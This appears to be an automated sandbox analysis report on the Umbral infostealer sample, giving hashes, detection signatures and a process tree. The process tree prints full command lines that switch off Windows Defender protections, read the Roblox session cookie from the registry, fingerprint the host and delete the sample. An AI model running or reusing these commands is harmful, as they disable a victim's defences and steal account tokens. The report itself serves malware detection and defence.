Analysis
-
max time kernel
120s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
05-06-2024 08:16
Behavioral task
behavioral1
Sample
Umbral.exe
Resource
win7-20240221-en
General
-
Target
Umbral.exe
-
Size
227KB
-
MD5
53681862212e052e3c6b3e9ca9594428
-
SHA1
f89c700368b19d182062f673f9b51199e08c47cc
-
SHA256
2576a8b91992cead33bc30b306852a6fbaa559fff89a534537495abe76aca3a2
-
SHA512
2f9649751aeeabd4e59b7e172937518bb6867ce99eee00687243d6218edbdbc5d573a5cea36416131a3787360d215d557f91c75f480d30ce3d6bbd1152e81fa8
-
SSDEEP
6144:+loZM9rIkd8g+EtXHkv/iD4M6Q2nLxCqV0QhTuOLQjb8e1mui:ooZOL+EP8M6Q2nLxCqV0QhTuOLKY
Malware Config
Signatures
-
Detect Umbral payload 1 IoCs
resource yara_rule behavioral1/memory/2192-1-0x0000000000350000-0x0000000000390000-memory.dmp family_umbral -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2668 powershell.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts Umbral.exe -
Deletes itself 1 IoCs
pid Process 2044 cmd.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 8 discord.com 9 discord.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 6 ip-api.com -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1624 wmic.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2108 PING.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2096 vlc.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 2668 powershell.exe 2688 powershell.exe 1156 powershell.exe 2908 powershell.exe 2748 powershell.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 2096 vlc.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2192 Umbral.exe Token: SeDebugPrivilege 2668 powershell.exe Token: SeDebugPrivilege 2688 powershell.exe Token: SeDebugPrivilege 1156 powershell.exe Token: SeDebugPrivilege 2908 powershell.exe Token: SeIncreaseQuotaPrivilege 1656 wmic.exe Token: SeSecurityPrivilege 1656 wmic.exe Token: SeTakeOwnershipPrivilege 1656 wmic.exe Token: SeLoadDriverPrivilege 1656 wmic.exe Token: SeSystemProfilePrivilege 1656 wmic.exe Token: SeSystemtimePrivilege 1656 wmic.exe Token: SeProfSingleProcessPrivilege 1656 wmic.exe Token: SeIncBasePriorityPrivilege 1656 wmic.exe Token: SeCreatePagefilePrivilege 1656 wmic.exe Token: SeBackupPrivilege 1656 wmic.exe Token: SeRestorePrivilege 1656 wmic.exe Token: SeShutdownPrivilege 1656 wmic.exe Token: SeDebugPrivilege 1656 wmic.exe Token: SeSystemEnvironmentPrivilege 1656 wmic.exe Token: SeRemoteShutdownPrivilege 1656 wmic.exe Token: SeUndockPrivilege 1656 wmic.exe Token: SeManageVolumePrivilege 1656 wmic.exe Token: 33 1656 wmic.exe Token: 34 1656 wmic.exe Token: 35 1656 wmic.exe Token: SeIncreaseQuotaPrivilege 1656 wmic.exe Token: SeSecurityPrivilege 1656 wmic.exe Token: SeTakeOwnershipPrivilege 1656 wmic.exe Token: SeLoadDriverPrivilege 1656 wmic.exe Token: SeSystemProfilePrivilege 1656 wmic.exe Token: SeSystemtimePrivilege 1656 wmic.exe Token: SeProfSingleProcessPrivilege 1656 wmic.exe Token: SeIncBasePriorityPrivilege 1656 wmic.exe Token: SeCreatePagefilePrivilege 1656 wmic.exe Token: SeBackupPrivilege 1656 wmic.exe Token: SeRestorePrivilege 1656 wmic.exe Token: SeShutdownPrivilege 1656 wmic.exe Token: SeDebugPrivilege 1656 wmic.exe Token: SeSystemEnvironmentPrivilege 1656 wmic.exe Token: SeRemoteShutdownPrivilege 1656 wmic.exe Token: SeUndockPrivilege 1656 wmic.exe Token: SeManageVolumePrivilege 1656 wmic.exe Token: 33 1656 wmic.exe Token: 34 1656 wmic.exe Token: 35 1656 wmic.exe Token: SeIncreaseQuotaPrivilege 1084 wmic.exe Token: SeSecurityPrivilege 1084 wmic.exe Token: SeTakeOwnershipPrivilege 1084 wmic.exe Token: SeLoadDriverPrivilege 1084 wmic.exe Token: SeSystemProfilePrivilege 1084 wmic.exe Token: SeSystemtimePrivilege 1084 wmic.exe Token: SeProfSingleProcessPrivilege 1084 wmic.exe Token: SeIncBasePriorityPrivilege 1084 wmic.exe Token: SeCreatePagefilePrivilege 1084 wmic.exe Token: SeBackupPrivilege 1084 wmic.exe Token: SeRestorePrivilege 1084 wmic.exe Token: SeShutdownPrivilege 1084 wmic.exe Token: SeDebugPrivilege 1084 wmic.exe Token: SeSystemEnvironmentPrivilege 1084 wmic.exe Token: SeRemoteShutdownPrivilege 1084 wmic.exe Token: SeUndockPrivilege 1084 wmic.exe Token: SeManageVolumePrivilege 1084 wmic.exe Token: 33 1084 wmic.exe Token: 34 1084 wmic.exe -
Suspicious use of FindShellTrayWindow 11 IoCs
pid Process 2692 dw20.exe 2096 vlc.exe 2096 vlc.exe 2096 vlc.exe 2096 vlc.exe 2096 vlc.exe 2096 vlc.exe 2096 vlc.exe 2096 vlc.exe 2096 vlc.exe 2096 vlc.exe -
Suspicious use of SendNotifyMessage 9 IoCs
pid Process 2096 vlc.exe 2096 vlc.exe 2096 vlc.exe 2096 vlc.exe 2096 vlc.exe 2096 vlc.exe 2096 vlc.exe 2096 vlc.exe 2096 vlc.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2096 vlc.exe -
Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 2192 wrote to memory of 2544 2192 Umbral.exe 28 PID 2192 wrote to memory of 2544 2192 Umbral.exe 28 PID 2192 wrote to memory of 2544 2192 Umbral.exe 28 PID 2192 wrote to memory of 2668 2192 Umbral.exe 30 PID 2192 wrote to memory of 2668 2192 Umbral.exe 30 PID 2192 wrote to memory of 2668 2192 Umbral.exe 30 PID 2668 wrote to memory of 2692 2668 powershell.exe 32 PID 2668 wrote to memory of 2692 2668 powershell.exe 32 PID 2668 wrote to memory of 2692 2668 powershell.exe 32 PID 2192 wrote to memory of 2688 2192 Umbral.exe 33 PID 2192 wrote to memory of 2688 2192 Umbral.exe 33 PID 2192 wrote to memory of 2688 2192 Umbral.exe 33 PID 2192 wrote to memory of 1156 2192 Umbral.exe 35 PID 2192 wrote to memory of 1156 2192 Umbral.exe 35 PID 2192 wrote to memory of 1156 2192 Umbral.exe 35 PID 2192 wrote to memory of 2908 2192 Umbral.exe 37 PID 2192 wrote to memory of 2908 2192 Umbral.exe 37 PID 2192 wrote to memory of 2908 2192 Umbral.exe 37 PID 2192 wrote to memory of 1656 2192 Umbral.exe 39 PID 2192 wrote to memory of 1656 2192 Umbral.exe 39 PID 2192 wrote to memory of 1656 2192 Umbral.exe 39 PID 2192 wrote to memory of 1084 2192 Umbral.exe 42 PID 2192 wrote to memory of 1084 2192 Umbral.exe 42 PID 2192 wrote to memory of 1084 2192 Umbral.exe 42 PID 2192 wrote to memory of 268 2192 Umbral.exe 44 PID 2192 wrote to memory of 268 2192 Umbral.exe 44 PID 2192 wrote to memory of 268 2192 Umbral.exe 44 PID 2192 wrote to memory of 2748 2192 Umbral.exe 46 PID 2192 wrote to memory of 2748 2192 Umbral.exe 46 PID 2192 wrote to memory of 2748 2192 Umbral.exe 46 PID 2192 wrote to memory of 1624 2192 Umbral.exe 48 PID 2192 wrote to memory of 1624 2192 Umbral.exe 48 PID 2192 wrote to memory of 1624 2192 Umbral.exe 48 PID 2192 wrote to memory of 2044 2192 Umbral.exe 50 PID 2192 wrote to memory of 2044 2192 Umbral.exe 50 PID 2192 wrote to memory of 2044 2192 Umbral.exe 50 PID 2044 wrote to memory of 2108 2044 cmd.exe 52 PID 2044 wrote to memory of 2108 2044 cmd.exe 52 PID 2044 wrote to memory of 2108 2044 cmd.exe 52 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 2544 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Umbral.exe"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2192 -
C:\Windows\system32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"2⤵
- Views/modifies file attributes
PID:2544
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2668 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exedw20.exe -x -s 7883⤵
- Suspicious use of FindShellTrayWindow
PID:2692
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2688
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1156
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2908
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1656
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1084
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵PID:268
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2748
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name2⤵
- Detects videocard installed
PID:1624
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2044 -
C:\Windows\system32\PING.EXEping localhost3⤵
- Runs ping.exe
PID:2108
-
-
-
C:\Program Files\VideoLAN\VLC\vlc.exe"C:\Program Files\VideoLAN\VLC\vlc.exe" C:\Users\Admin\Desktop\ConvertFromWait.dwg1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:2096
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD561ea07530f94e32f0cd23e6dea548860
SHA19bae2fac4bbb49b8549aaf3fcdf32df5ab0e349a
SHA25670593ff7dee8225c4b268fa34dac8c63a5e8dc5d2e2d393697eef5c8b712b87a
SHA5125b241aae419e4f773ced30ddc109f16134f15585ea29e79f8c7004ab287b6de3f80ffe32492cc01088060d7a99e8020b7899acb6ebf2e8370908546105922259